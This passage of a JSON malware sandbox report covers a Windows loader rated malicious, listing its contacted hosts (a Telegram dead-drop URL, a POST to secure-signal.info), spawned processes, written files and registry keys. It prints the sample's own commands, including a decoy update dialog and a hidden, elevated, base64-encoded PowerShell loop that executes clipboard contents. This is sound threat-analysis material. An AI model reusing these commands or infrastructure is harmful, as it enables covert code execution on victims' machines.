Windows","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:e6eb568db48e85f7b39af4e86cd231458372ae0aa7ec68baeaaae287a34a1694":{"type":"File","value":"e6eb568db48e85f7b39af4e86cd231458372ae0aa7ec68baeaaae287a34a1694"},"Ip:104.20.29.150":{"type":"Ip","value":"104.20.29.150"},"Ip:149.154.167.99":{"type":"Ip","value":"149.154.167.99"},"Ip:172.65.251.78":{"type":"Ip","value":"172.65.251.78"},"Ip:172.66.171.73":{"type":"Ip","value":"172.66.171.73"},"Ip:172.67.132.108":{"type":"Ip","value":"172.67.132.108"},"Ip:172.67.220.227":{"type":"Ip","value":"172.67.220.227"},"Url:/":{"type":"Url","value":"/"},"Url:/awesome_mine":{"type":"Url","value":"/awesome_mine"}},"chains":[{"id":"1557642902350969289","root":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","edges":[{"edge_kind":"contacted_domain","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Domain:6125d14467e19c0f06fd258c07b6f36470fab920c06c416e24892deade23e6ae"}],"verdict":{"verdict":"clean","verdict_source":"domain reputation data","reasons":["reported clean domain"]}},{"id":"sandbox_network","root":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","edges":[{"edge_kind":"contacted_ip","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Ip:104.20.29.150"},{"edge_kind":"contacted_ip","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Ip:172.65.251.78"},{"edge_kind":"contacted_ip","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Ip:149.154.167.99"},{"edge_kind":"contacted_ip","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Ip:172.67.220.227"},{"edge_kind":"contacted_ip","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Ip:172.66.171.73"},{"edge_kind":"contacted_ip","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Ip:172.67.132.108"},{"edge_kind":"contacted_domain","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Domain:gitlab.com"},{"edge_kind":"resolves_to","from_key":"Domain:gitlab.com","to_key":"Ip:172.65.251.78"},{"edge_kind":"contacted_domain","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Domain:6125d14467e19c0f06fd258c07b6f36470fab920c06c416e24892deade23e6ae"},{"edge_kind":"resolves_to","from_key":"Domain:6125d14467e19c0f06fd258c07b6f36470fab920c06c416e24892deade23e6ae","to_key":"Ip:104.20.29.150"},{"edge_kind":"contacted_domain","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Domain:secure-signal.info"},{"edge_kind":"resolves_to","from_key":"Domain:secure-signal.info","to_key":"Ip:172.67.220.227"},{"edge_kind":"contacted_domain","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Domain:t.me"},{"edge_kind":"resolves_to","from_key":"Domain:t.me","to_key":"Ip:149.154.167.99"},{"edge_kind":"contacted_domain","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Domain:probable-winner.info"},{"edge_kind":"resolves_to","from_key":"Domain:probable-winner.info","to_key":"Ip:172.67.132.108"},{"edge_kind":"contacted_url","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Url:/awesome_mine"},{"edge_kind":"contacted_url","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"Url:/"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","edges":[{"edge_kind":"extracted","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"File:1f4a783b2d31168b1d2746c43169bf538fb882f8898a9c7e611f827dd31d52c9"},{"edge_kind":"extracted","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},{"edge_kind":"extracted","from_key":"File:6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","to_key":"File:e6eb568db48e85f7b39af4e86cd231458372ae0aa7ec68baeaaae287a34a1694"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":9,"spawned_processes_count":9,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":63,"imported_dlls_count":152,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":28,"files_deleted_count":0,"registry_keys_created_count":52,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":52,"embedded_ips_count":0,"embedded_domains_count":1,"embedded_urls_count":0,"contacted_hosts_count":6,"dns_resolutions_count":5,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["windows-server-utility","new_domain","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"sandbox_reports":[{"id":"695aa80e8b1ab8eaf00cbba9","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR","USA"],"submit_name":"Loader.exe","analysis_start_time":"2026-01-04T17:49:04+00:00","indicators_count":{"informative":247,"suspicious":70,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"695680317ceffb48710a980e","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR","USA"],"submit_name":"loader_prod.exe","analysis_start_time":"2026-01-01T14:09:55+00:00","indicators_count":{"informative":280,"suspicious":71,"malicious":4},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.20.29.150","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"address":"172.65.251.78","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"address":"172.67.220.227","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"address":"172.66.171.73","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"address":"172.67.132.108","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"dns_resolutions":[{"domain":"gitlab.com","address":"172.65.251.78","ttl":300,"country":"United States","registrar_name":"GANDI SAS","registrar_name_servers":"NS-705.AWSDNS-24.NET","registrar_creation_date":"2004-01-15T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"domain":"pastebin.com","address":"104.20.29.150","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"domain":"secure-signal.info","address":"172.67.220.227","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"domain":"t.me","address":"149.154.167.99","ttl":129,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"domain":"probable-winner.info","address":"172.67.132.108","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"http_requests":[{"host":"t.me","host_ip":"149.154.167.99:443","url":"/awesome_mine","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /awesome_mine HTTP/1.1\nConnection: Keep-Alive\nHost: t.me","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"host":"secure-signal.info","host_ip":"172.67.220.227:443","url":"/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST / HTTP/1.1\nConnection: Close\nAccept: */*\nContent-Length: 5728\nHost: secure-signal.info","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"embedded_domains":[{"value":"pastebin.com","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}],"processes":[{"pid":7632,"ppid":0,"name":"Loader.exe","command_line":"","sha256":"6c2446f06869a50df82165dbbc78527186cc70e8ebb50c48634de0ab9057c00a","normalized_path":"C:\\Loader.exe","uid":"00000000-00007632","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKElEQVR4Xu2RyW4TURBFvfEcB8f8AiwRv0UAA3E8ZERhSJiHsLCUFZK/gwAmTQYyAMYMhgASn+FNUVWvX3enKk/uTeRISUtHbnlxz73VicTpc+KfRq0CU/XJoUDuhPzzKPA879Bfggv0+/2hcPwKtFotaDabDL3b/y++/AdnX/xF/kBpGXn+G9mH0jPiF4w9RZ78hLHHRA+Kj3pwYWV/YK4q4KK0TMJQysJA2gukxYffofggROZI4hc4dOUPFBK+8P43OEPc+8qMLnVVjkQVcJ3KLjUrHdIllC5+MdwlOgNzVQEX4Wmt0Eq7ESFyp4N8hsJt5NYnlSOJXSBc2TUsdiPCDgtHWYosfISRm8SeypGoAq5TydMWIiuZQIrM78HI3C4zKFcVcBFdqqQknN9l8rM7PtuQn9lWOZLYBQIhUgikdukOyyy56Q+Qm0IaWypHogq4ThVdmichrbRSFm4ZUJqrb0K2tsFIoUQVcEFL7Vnz03alL2SpEWZr65CtIpPvGZkjiV2AVh5YSiutlIQ+mYoHmQlijZE5ElXA9QlyDSMMlloprsxUCF96Yw3S198ZrrWVUKIKuLDSjH/aQMhSKzTSdPktpK4Sb1SOJH4BEvvSNK0MpG1IoTBdbrOQufIaUpeR8VWVI1EFXJ+ATyukLGahla5Ccpx4BclLBimUqAIuzi9smpXlgyuTLA2FUc7NeCpHErvAUXE8CtSrE/wyDOpVLHD6nPjnPyIPUCMAVciHAAAAAElFTkSuQmCC"},{"pid":7308,"ppid":7632,"name":"powershell.exe","command_line":"powershell -Command \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00007632","uid":"00000000-00007308"},{"pid":8272,"ppid":7632,"name":"806964ff31e2acc80.exe","command_line":"","sha256":"e474668c087ac200d974ef3a9d431d81c06acc45a8f56e5378b6669cd4eb6285","normalized_path":"%APPDATA%\\806964ff31e2acc80.exe","parent_uid":"00000000-00007632","uid":"00000000-00008272"},{"pid":4092,"ppid":8272,"name":"powershell.exe","command_line":"-Command \"Start-Process powershell -WindowStyle Hidden -ArgumentList '-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A' -Verb RunAs\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00008272","uid":"00000000-00004092"},{"pid":5928,"ppid":4092,"name":"powershell.exe","command_line":"-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00004092","uid":"00000000-00005928"},{"pid":8248,"ppid":8272,"name":"powershell.exe","command_line":"\"powershell\" -Command \"Get-Process | Select-Object Name\"","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00008272","uid":"00000000-00008248"},{"pid":8796,"ppid":8272,"name":"msedge.exe","command_line":"--headless --disable-gpu","sha256":"1564d0ceeab3135906c3d8b91d40126329a6a602d355000e4e6a0587fd5b780d","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00008272","uid":"00000000-00008796"},{"pid":5016,"ppid":8272,"name":"chrome.exe","command_line":"--headless --disable-gpu","sha256":"81620d2422341833945d5a0dc936f0d708e09e86abb5cf4931e5378545a58adf","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00008272","uid":"00000000-00005016"},{"pid":4532,"ppid":8272,"name":"firefox.exe","command_line":"--headless --disable-gpu","sha256":"69159a3f7f48bc897f5e99101da22e6c3df604d2200d584f08e0d778b554f1c4","normalized_path":"%PROGRAMFILES%\\Mozilla Firefox\\firefox.exe","parent_uid":"00000000-00008272","uid":"00000000-00004532"}],"all_imported_dlls":["dhcpcsvc.dll","cryptbase.dll","clr.dll","System.Management.ni.dll","CoreUIComponents.dll","msedge_elf.dll","vcruntime140.dll","rasadhlp.dll","ucrtbase_clr0400.dll","comctl32.dll","cfgmgr32.dll","mscorlib.ni.dll","pwrshsip.dll","lz32.dll","mshtmled.dll","AcLayers.dll","ucrtbase.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","AppxSip.dll","System.DirectoryServices.ni.dll","RTWorkQ.dll","Microsoft.PowerShell.Commands.Management.ni.dll","oleaut32.dll","FWPUCLNT.DLL","uxtheme.dll","KernelBase.dll","shell32.dll","TextShaping.dll","virtdisk.dll","ntasn1.dll","ncryptsslp.dll","ole32.dll","Windows.StateRepositoryPS.dll","webio.dll","msvcp_win.dll","mssip32.dll","comdlg32.dll","srvcli.dll","kernel32.dll","imm32.dll","IPHLPAPI.DLL","vcruntime140_1_clr0400.dll","Microsoft.PowerShell.Security.ni.dll","chrome_elf.dll","GdiPlus.dll","edputil.dll","winnsi.dll","ntdll.dll","version.dll","System.Management.Automation.ni.dll","WinTypes.dll","MknCGS6B.dll","clrjit.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","System.Drawing.ni.dll","dnsapi.dll","gpapi.dll","windows.storage.dll","System.Data.ni.dll","System.Configuration.Install.ni.dll","AppResolver.dll","dpapi.dll","schannel.dll","amsi.dll","ncrypt.dll","msvcp140.dll","bcryptprimitives.dll","nsi.dll","mswsock.dll","atl.dll","msisip.dll","System.Xml.ni.dll","secur32.dll","propsys.dll","winhttp.dll","fltLib.dll","dhcpcsvc6.dll","System.Core.ni.dll","wintrust.dll","umpdc.dll","sspicli.dll","CoreMessaging.dll","mfplat.dll","profapi.dll","wldp.dll","WofUtil.dll","MMDevAPI.dll","user32.dll","msvcrt.dll","bcrypt.dll","System.Configuration.ni.dll","OneCoreUAPCommonProxyStub.dll","win32u.dll","userenv.dll","System.Transactions.dll","System.Windows.Forms.ni.dll","msctf.dll","newdev.dll","rpcrt4.dll","shlwapi.dll","System.Transactions.ni.dll","msasn1.dll","certca.dll","gdi32full.dll","cryptsp.dll","crypt32.dll","System.Data.dll","MpClient.dll","urlmon.dll","netutils.dll","ws2_32.dll","mscoree.dll","MpOAV.dll","apphelp.dll","kernel.appcore.dll","psapi.dll","SHCore.dll","combase.dll","rsaenh.dll","wshext.dll","devrtl.dll","OnDemandConnRouteHelper.dll","VxSSL64.dll","mscoreei.dll","mozglue.dll","gdi32.dll","vcruntime140_clr0400.dll","System.ni.dll","Microsoft.Management.Infrastructure.ni.dll","TextInputFramework.dll","clbcatq.dll","powrprof.dll","advapi32.dll","sechost.dll","iertutil.dll","BCP47Langs.dll","vcruntime140_1.dll","winmm.dll","slc.dll","System.Numerics.ni.dll","sppc.dll","aepic.dll","mskeyprotect.dll","devobj.dll","dwmapi.dll","V4kG27Ne.dll","ntmarta.dll","imagehlp.dll","winmmbase.dll","msIso.dll","cldapi.dll","Wldap32.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"StartupProfileData-NonInteractive","sha256":"1f4a783b2d31168b1d2746c43169bf538fb882f8898a9c7e611f827dd31d52c9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"name":"__PSScriptPolicyTest_vxuej3kp.l0o.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"name":"24674280c92d5f820.exe","sha256":"e6eb568db48e85f7b39af4e86cd231458372ae0aa7ec68baeaaae287a34a1694","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E122B924-B4ED-4437-BC94-A96B6AA901B6}","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{45F5205B-FA7A-11ED-8886-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%APPDATA%\\806964ff31e2acc80.exe","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_4lqkqt5a.fit.ps1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_21vk4fqg.lkr.psm1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_u0bkqot5.d0a.ps1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vxuej3kp.l0o.psm1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_b4sz3hhm.jbz.ps1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dd1k4ukg.kmw.psm1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vj3bc0ev.3ec.ps1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_qp1gjrnj.cz3.psm1","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%APPDATA%\\24674280c92d5f820.exe","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pof5e5ms.0vd.ps1","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_mv0vyavw.v5n.psm1","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zaiidnyr.mf3.ps1","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_yeatyzmd.hfd.psm1","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_sjny4pee.5r4.ps1","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_4mb2jqm3.5ds.psm1","sources":[{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"695aa80e8b1ab8eaf00cbba9"},{"report_type":"sandbox","report_id":"695680317ceffb48710a980e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\